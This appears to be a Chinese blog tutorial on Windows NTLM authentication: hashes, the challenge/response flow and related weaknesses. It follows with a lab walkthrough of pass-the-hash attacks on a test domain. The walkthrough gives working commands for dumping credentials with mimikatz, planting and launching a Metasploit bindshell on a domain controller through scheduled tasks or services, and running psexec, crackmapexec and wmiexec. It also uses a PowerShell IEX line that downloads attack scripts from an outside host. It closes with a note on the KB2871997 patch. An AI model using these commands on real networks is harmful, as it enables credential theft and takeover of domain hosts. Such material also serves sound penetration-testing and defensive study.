[toc]

前言

由于感觉自己一直对一些 Windows 底层协议和原理了解的不够深入,最近一段时间恶补了一些基础的东西。

从这一篇文章开始,我们的内网渗透测试系列文章将更注重于底层协议和原理的学习,包括Windows 的常见认证体系与基础协议的概念和原理,以及他们存在的相关安全问题。本篇文章将给大家介绍 Windows NTLM 认证的相关内容,包括 NTLM 的概念与相关安全问题的介绍。

文中若有不当之处还请各位大佬多多点评

我的博客:https://whoamianony.top/

在这之前,我们先了解一下 SSP 和 SSPI 这个概念。

SSPI 和 SSP

SSPI

SSPI(Security Support Provider Interface),即 安全服务提供接口,这是 Windows 定义的一套接口,该接口定义了与安全有关的功能函数,包含但不限于:

  • 身份验证机制
  • 信息完整性
  • 为其他协议提供的会话安全机制

SSP

SSP(Security Service Provider),即 安全服务提供,他是 SSPI 的实现者,是对 SSPI 相关功能函数的具体实现。微软自己实现了如下的 SSP,用于提供安全功能:

  • NTLM SSP
  • Kerberos
  • Digest SSP
  • Cred SSP
  • ……

在系统层面,SSP 就是一个 dll,来实现身份验证等安全功能,实现的身份验证机制是不一样的。比如 NTLM SSP 实现的就是一种 Challenge/Response 验证机制。而 Kerberos SSP 实现的就是基于 ticket 的身份验证机制。我们可以编写自己的 SSP,然后注册到操作系统中,让操作系统支持更多的自定义的身份验证方法。

什么是 Windows 认证 ?

认证实则就是想对方证明你的身份的一个过程。比如你要通过网络访问一个受保护的资源,服务器需要认证你的身份。 你可以声称你是系统管理员, 但是你怎么证明你就是系统管理员呢?

一个最简单的方法就是让你直接提供所称用户的密码给服务器,然后服务器去数据库里面对比,看你提供的密码对不对。但是这样的认证方式会使密码需要在网络上明文传输,产生的安全问题不言而喻。

那我们便要想办法怎样在不直接提供明文密码的情况下,间接证明你知道密码。

比如两个相互认识的人互相说话,说的都是明文,每一句你都能听懂。他们并没有说自己的密码就相互认证身份了,你听了半天,却不知道密码是什么。 更神奇的是, 他们认证之后,再说的话你就更听不懂了。也就是说这两个人之间协商了某种会话安全,后续的通信都是安全加密的。

在 Windows 中,最常见的两种认证体系便是 NTLM 认证和 Kerberos 认证了,今天我们便来详细的讲一下 NTLM 认证方式。

LM Hash 和 NTLM Hash

在 Windows 中是不会保存明文密码的,只会保存密码的哈希值。 其中本机用户的密码哈希是放在 本地的 SAM 文件 里面,域内用户的密码哈希是存在域控的 NTDS.dit 文件 里面。在渗透测试中,通常可从 Windows 系统中的 SAM 文件和域控的 NTDS.dit 文件中导出所有用户的Hash。导出来的哈希经常会看到这样的格式:

1
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::

其中的 AAD3B435B51404EEAAD3B435B51404EE 是LM Hash,31D6CFE0D16AE931B73C59D7E0C089C0 是NTLM Hash。

LM Hash

LM Hash 的全称为 LAN Manager Hash,这是 Windows 中最早用的加密算法。

LM Hash的计算方式如下:

1.用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。

2.密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度

3.再分7bit为一组,每组末尾加0,再组成一组

4.上步骤得到的二组,分别作为key 为 “KGS!@#$%“进行DES加密。

5.将加密后的两组拼接在一起,得到最终LM HASH值。

NTLM Hash

为了解决 LM Hash 加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议。下面是各个版本对LM和NTLM的支持。

也就是说从Windows Vista 和 Windows Server 2008开始,默认情况下只存储 NTLM Hash,LM Hash 将不再存在。(因此后面我们将不再介绍LM Hash)如果空密码或者不储蓄 LM Hash 的话,我们抓到的LM Hash是 AAD3B435B51404EEAAD3B435B51404EE。所以在 Windows 7 中我们看到抓到 LM Hash 都是 AAD3B435B51404EEAAD3B435B51404EE,这里的 LM Hash 已经没有任何价值了。

LM Hash的计算方式如下:

1.先将用户密码转换为十六进制格式。

2.将十六进制格式的密码进行Unicode编码。

3.使用MD4摘要算法对Unicode编码数据进行Hash计算

NTLM 身份验证

Windows 的 NTLM 认证就是利用 NTLM Hash 进行的认证,可以分为 本地认证 和 网络认证 两种方式。NTLM 的网络认证,既可用于域内的认证服务,又可用于工作组环境。NTLM 有 NTLMv1 、NTLMv2 、NTLMsession v2 三个版本,目前使用最多的是NTLMv2版本。

NTLM 本地认证

当用户在 Windows 本地登录时,用户的密码存储在本地计算机的 SAM 这个文件里,SAM 文件的路径为 %SystemRoot%\system32\config\SAM。当用户输入密码进行本地认证的过程中,用户输入的密码将为被转化为 NTLM Hash,然后与SAM中的NTLM Hash进行比较。当用户注销、重启、锁屏后,操作系统会让 winlogon.exe 显示登录界面(输入框)。当 winlogon.exe 接收输入后,会将密码交给lsass进程。lsass.exe 是一个系统进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略,这个进程中会存一份明文密码,将明文密码加密成 NTLM Hash,对SAM数据库比较认证。

NTLM 在工作组环境中的认证

NTLM 在网络环境中的认证采用的是一种 Challenge/Response 验证机制,由三种消息组成:

  • type 1:协商
  • type 2:质询
  • type 3:身份验证

下面详细介绍一下 NTLM 在工作组环境中的工作机制。

image-20210409091627979

(1)首先,如果客户端需要访问服务器的某个服务是需要进行身份认证的。于是,客户端要输入服务器的用户名和密码进行验证,此时客户端本地会缓存一份服务器密码的 NTLM Hash 值。客户端发送 TYPE 1 Negotiate 协商消息去协商需要认证的主体,用户(服务器端的用户名),机器以及需要使用的安全服务等信息。

(2)服务端接收到客户端发送过来的 TYPE 1 消息后,会读取其中的内容,并从中选择出自己所能接受的服务内容,加密等级,安全服务等。然后传入 NTLM SSP,得到 TYPE 2 Challenge 消息(被称为 Challenge 挑战消息),并将此 TYPE 2 消息发回给客户端。这个 TYPE 2 消息中包含了一个由服务端生成的16位随机值,此随机值被称为 Challenge,服务器也会将该 Challenge 保存起来。

(3)客户端收到服务端返回的 TYPE 2 消息后, 会读取出服务端所支持的内容,并取出其中的随机值 Challenge,用缓存的服务器端密码的 NTLM-Hash 对其进行加密,并与用户名、Challenge 等一起组合得到 Net-NTLMHash,最后将 Net NTLM-Hash 封装到 TYPE 3 Authenticate 消息中(被称为 Authenticate 认证消息),发往服务端。

(4)服务器在收到 TYPE 3 的消息之后,用自己的密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。

NTLM 在域环境中的认证

image-20210409092729119

NTLM 在域环境中的认证的前三步与NTLM 在工作组环境中的认证是一样的,不同的地方开始出现在第四步:

(4)服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的 Net NTLM-Hash 值,并向域控制器发送针对客户端的验证请求。该请求主要包含以下三方面的内容:用户名(服务器端的用户名)、原始的 Challenge 和 加密后的 Challenge(即Net NTLM-Hash)。

(5)然后域控制器会根据用户名获取该帐号的密码哈希值 NTLM Hash,用哈希值对原始的 Challenge 进行加密得到 Net NTLM-Hash 。如果加密后的 Challenge 和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。并将验证结果发给服务器。

(6)服务器根据域控制器返回的结果,对客户端进行回复。

Net-NTLM Hash

Net-NTLM Hash 与 NTLM Hash 不一样。NTLM 认证的第三步中,客户端收到服务端返回的 TYPE 2 消息后, 会读取出服务端所支持的内容,并取出其中的随机值 Challenge,用缓存的服务器端密码的 NTLM-Hash 对其进行加密,并与用户名、Challenge 等一起组合得到 Net-NTLM Hash,最后将 Net NTLM Hash 封装到 TYPE 3 Authenticate 消息中,发往服务端。也就是说 Net-NTLM Hash 是网络环境下 NTLM 认证的散列值。NTLM v1 响应和 NTLM v2 响应对应的就是 Net-NTLM Hash 分为 Net-NTLM Hash v1 和 Net-NTLM Hash v2。

  • Net-NTLM Hash v1的格式为:
1
username::hostname:LM response:NTLM response:challenge
  • Net-NTLM Hash v2的格式为:
1
username::domain:challenge:HMAC-MD5:blob

Net-NTLM Hash 不能像 NTLM Hash 一样被攻击者用来进行哈希传递,但是攻击者可以使用各种方法截获客户端与 Server 认证过程中的 Net-NTLM Hash,然后对其进行明文爆破,或者直接用来进行 NTLM 中继攻击。

下面是使用responder工具截获的 Net NTLM Hash:

img

NTLM 认证的相关安全问题

NTLM 认证固然存在不少安全问题,大体有以下几种:

  • 哈希传递攻击
  • 利用 NTLM 进行内网信息收集
  • NTLM Relay

哈希传递攻击(PTH)

哈希传递(Pass The Hash)攻击简称 PTH,该方法通过找到与账户相关的密码散列值(NTLM Hash)来进行攻击。由于在 Windows 系统 NTLM 认证的 TYPE 3 消息计算 Response 的时候,客户端是使用用户的 NTLM Hash 进行计算的,而不是用户密码进行计算的。因此在模拟用户登录或对访问资源的用户进行身份认证的时候,是不需要用户明文密码的,只需要用户 Hash。攻击者可以利用 NTLM HASH 直接远程登录目标主机或反弹 Shell。

在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。使用该方法,攻击者不需要花费时间来对Hash进行爆破,在内网渗透里非常经典。常常适用于域环境或工作组环境。

利用 NTLM 进行内网信息收集

在NTLM认证中 TYPE 2 消息返回 Challenge 的过程中,同时返回了操作系统类型,主机名,NetBIOS 名称等。这也就意味着如果我们在能跟服务器进行 NTLM 交流中,给服务器发送一个 TYPE 1 的请求,服务器返回 TYPE 2 消息的响应,这一步,我们就可以得到很多信息。

NTLM Relay

NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种,NTLMv2 的强度比 NTLMv1 强了不少 ,我们在实战中,如果获得的是NTLMv1的话直接对其进行爆破就行了,而现实情况中我们遇到的是 NTLMv2,NTLMv2的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码。那么,如果爆破行不通的话我们不妨试一下NTLM Relay攻击。

在这个NTLM Relay中,我们就是要将截获的Net-NTLM Hash重放来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay。

这里我们先只对哈希传递攻击进行演示,其他两类安全问题我们在该系列后续文章中进行讲解。

哈希传递攻击

下面,我们以下图所示的环境来具体演示哈希传递攻击(PTH)的方法。

img

如图中,右侧是一个内网环境,域名为god,有三台机器:Windows 7、Windows Server 2008、Windows Server 2003,其中Windows 7和Windows Server 2003都可以上网但没有公网IP。攻击者使用公网VPS。

Windows Server 2008(192.168.52.138)为域控制器(机器名为OWA),假设我们攻击者已经获得了Windows 7域成员主机的控制权,需要进一步横向渗透去拿下Windows Server 2003和域控。

使用Mimikatz进行PTH

下面演示哈希传递攻击的方法(需要管理员权限):

首先,攻击者在Windows 7上面上传mimikatz,并用mimikatz抓取Hash:

1
2
privilege::debug
sekurlsa::logonpasswords

img

如上图,成功抓取到域管理员的NTLM Hash:4d6e43b2cdc951808100f5b1d09aac63

然后,在Windows 7上用mimikatz将获取的Administrator的Hash添加进lsass中:

1
2
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:4d6e43b2cdc951808100f5b1d09aac63

img

成功,此时会自动弹出一个新的cmd窗口,这时访问远程主机或服务,就不用提供明文密码了,如下,我们列出了域控制器OWA的c盘目录:

img

为了简洁,上述的操作可以用以下一句话命令代替:

1
2
mimikatz.exe privilege::debug "sekurlsa::pth /domain:workgroup /user:administrator /ntlm:4d6e43b2cdc951808100f5b1d09aac63 /run:cmd.exe" 
//传递hash

我们还能将msf木马copy到域控上并设置计划任务或创建服务来执行:

1
2
copy bindshell.exe \\OWA\c$        // 将msf木马bindshell.exe复制到目标机器上
schtasks /create /tn "shell" /tr C:\bindshell.exe /sc MINUTE /s 192.168.52.138 // 在域控上创建shell计划任务,开机时启动c盘下bindshell.exeschtasks /run /s 192.168.52.138 /i /tn "shell" // 在域控上立即启动该计划任务sc \\OWA create bindshell binpath= "c:\bindshell.exe" // 在域控上创建服务启动木马sc \\OWA start bindshell // 在域控上立即启动该服务

注意,哈希传递攻击要注意一下几点:

  • dir命令后面要使用主机名,不能用IP,否则报错
  • 使用mimikatz进行哈希传递要具有本地管理员权限

使用Metasploit进行PTH

经常使用的三个模块

1
2
3
auxiliary/admin/smb/psexec_command      // 在目标机器上执行系统命令              
exploit/windows/smb/psexec // 用psexec执行系统命令
exploit/windows/smb/psexec_psh // 使用powershell作为payload

以exploit/windows/smb/psexec模块哈希传递攻击Windows Server 2003为例(设置smbuser、smbpass、smbdomain)

img

可以看到,该模块默认使用也仅能使用windows/meterpreter/reverse_tcp作为payload,其为反向的shell,这也就决定了,我们进行哈希传递攻击的目标主机(Windows Server 2003)必须能上网。

1
2
3
4
5
6
use exploit/windows/smb/psexec
set rhosts 192.168.52.141
set smbuser administrator
set smbpass 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 # 完整的Administrator用户的Hash
set smbdomain god
run

img

如上图,攻击成功,得到Windows Server 2003的shell。注意这里的smbpass选项,其可以为明文密码,也可以为Hash,但Hash必须是完整的,如果不知道前面的LM Hash部分,可以像上面那样用0代替。不要忘了设置通向内网的路由或者代理。

使用Crackmapexec进行PTH

该工具位于kali上面,其可以对C段主机批量进行PTH攻击。

下载地址:https://github.com/byt3bl33d3r/CrackMapExec.git

在kali上直接用apt-get就可以安装:

1
apt-get install crackmapexec

对内网主机进行PTH的命令如下:

1
2
3
4
5
6
7
8
crackmapexec smb IP -u user -H hash -d god.org -x whoami
crackmapexec smb 192.168.52.138 -u administrator -H 4d6e43b2cdc951808100f5b1d09aac63 -d god.org -x whoami

IP 可以是单个IP也可以是IP段
-u 指定用户名
-H 指定NTLM Hash
-d 指定域
-x 执行系统命令

利用wmiexec进行PTH

1. python 版本(wmiexec.py)

这是impacket工具包里面的脚本,可以用来PTH,十分强大并可以走socks代理。

下载地址:https://github.com/SecureAuthCorp/impacket

首先攻击者安装impacket工具包:

1
2
3
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip install .

进入examples目录即可找到我们的wmiexec.py,然后执行

1
2
3
(proxychains4) python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@192.168.52.138 "命令"

python wmiexec.py -hashes 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 god/administrator@192.168.52.138 "whoami"

img

img

2. wmiexec.exe

下载地址:https://github.com/maaaaz/impacket-examples-windows

该exe版本的与上面那个wmiexec.py是一样的,是通过python impacket库实现的,用法相同,不再演示。

3. powershell版本

下载地址:https://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-TheHash项目是一个基于.Net TCPClient,通过把NTLM hash传递给NTLMv2身份验证协议来进行身份验证的攻击套件,且执行时客户端不需要本地管理员权限。内含如下多个脚本:

1
2
3
4
5
Invoke-WMIExec.ps1    
Invoke-SMBExec.ps1
Invoke-SMBEnum.ps1
Invoke-SMBClient.ps1
Invoke-TheHash.ps1

其可以执行WMI和SMB命令,并对内网IP批量进行PTH攻击。使用方法:在目标主机Windows 7的powershell上执行如下:

1
2
3
IEX (New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/Invoke-TheHash/Invoke-WMIExec.ps1');

IEX (New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/Invoke-TheHash/Invoke-TheHash.ps1');Invoke-TheHash -Type WMIExec -Target 192.168.52.1/24 -Domain god -Username administrator -Hash 4d6e43b2cdc951808100f5b1d09aac63 -Command "whoami" -verbose
  • -Target :目标主机名或IP地址/段。
  • -Username:用于身份验证的用户名。
  • -Domain:用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
  • -Hash:用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。
  • -Command:在目标上执行的命令。如果命令未指定,则将检查用户名和哈希是否可以访问目标上的SCM。

使用的时候需要先加载Invoke-WMIExec.ps1脚本,然后再加载Invoke-TheHash.ps1脚本,因为Invoke-TheHash 里要用到 Invoke-WMIExec 方法。

img

img

如上图,成功在批量内网其他主机行执行了命令。如下我们在域控(192.168.52.138)上开启notepad进程:

img

去域控上查看3336号进程:

img

可知,进程启动成功。

哈希传递攻击的预防

微软在2014年5月发布了 KB2871997 和 KB2928120 两个补丁。KB2871997是针对PTH攻击的,这个被称为“PTH杀手”的更新将使本地帐号不再可以用于远程接入系统,不管是 Network logon 还是 Interactive login。其后果就是:无法通过本地管理员权限对远程计算机使用 Psexec、WMI、smbexec、IPC 等,也无法访问远程主机的文件共享等。

但是在测试中发现,在打了 kb2871997 这个补丁后,常规的哈希传递已经无法成功,但是唯独默认的 Administrator(SID 500)帐号例外,利用这个账号仍可以进行哈希传递。注意即使把Administrator改名了,它的SID仍然是500,只要它还是 SID 500那么以前的攻击方法还是有效。

Ending……

本篇文章将我们介绍 Windows NTLM 认证的相关内容,包括 NTLM 的概念与相关安全问题的介绍。在下一篇文章中,我们将继续探究 NTLM 认证的相关安全问题,包括如何截获 Net-NTLM Hash 以及如何利用 Net-NTLM Hash 进行其他内网相关的攻击。

1617762626793

文中若有不当之处还请各位大佬多多点评。

我的博客:https://whoamianony.top/

参考文档:

https://blog.csdn.net/qq_36119192/article/details/85941222

https://daiker.gitbook.io/windows-protocol/ntlm-pian/5

https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm

https://www.anquanke.com/post/id/193149?from=timeline

https://www.anquanke.com/post/id/200649

https://www.freebuf.com/articles/network/245872.html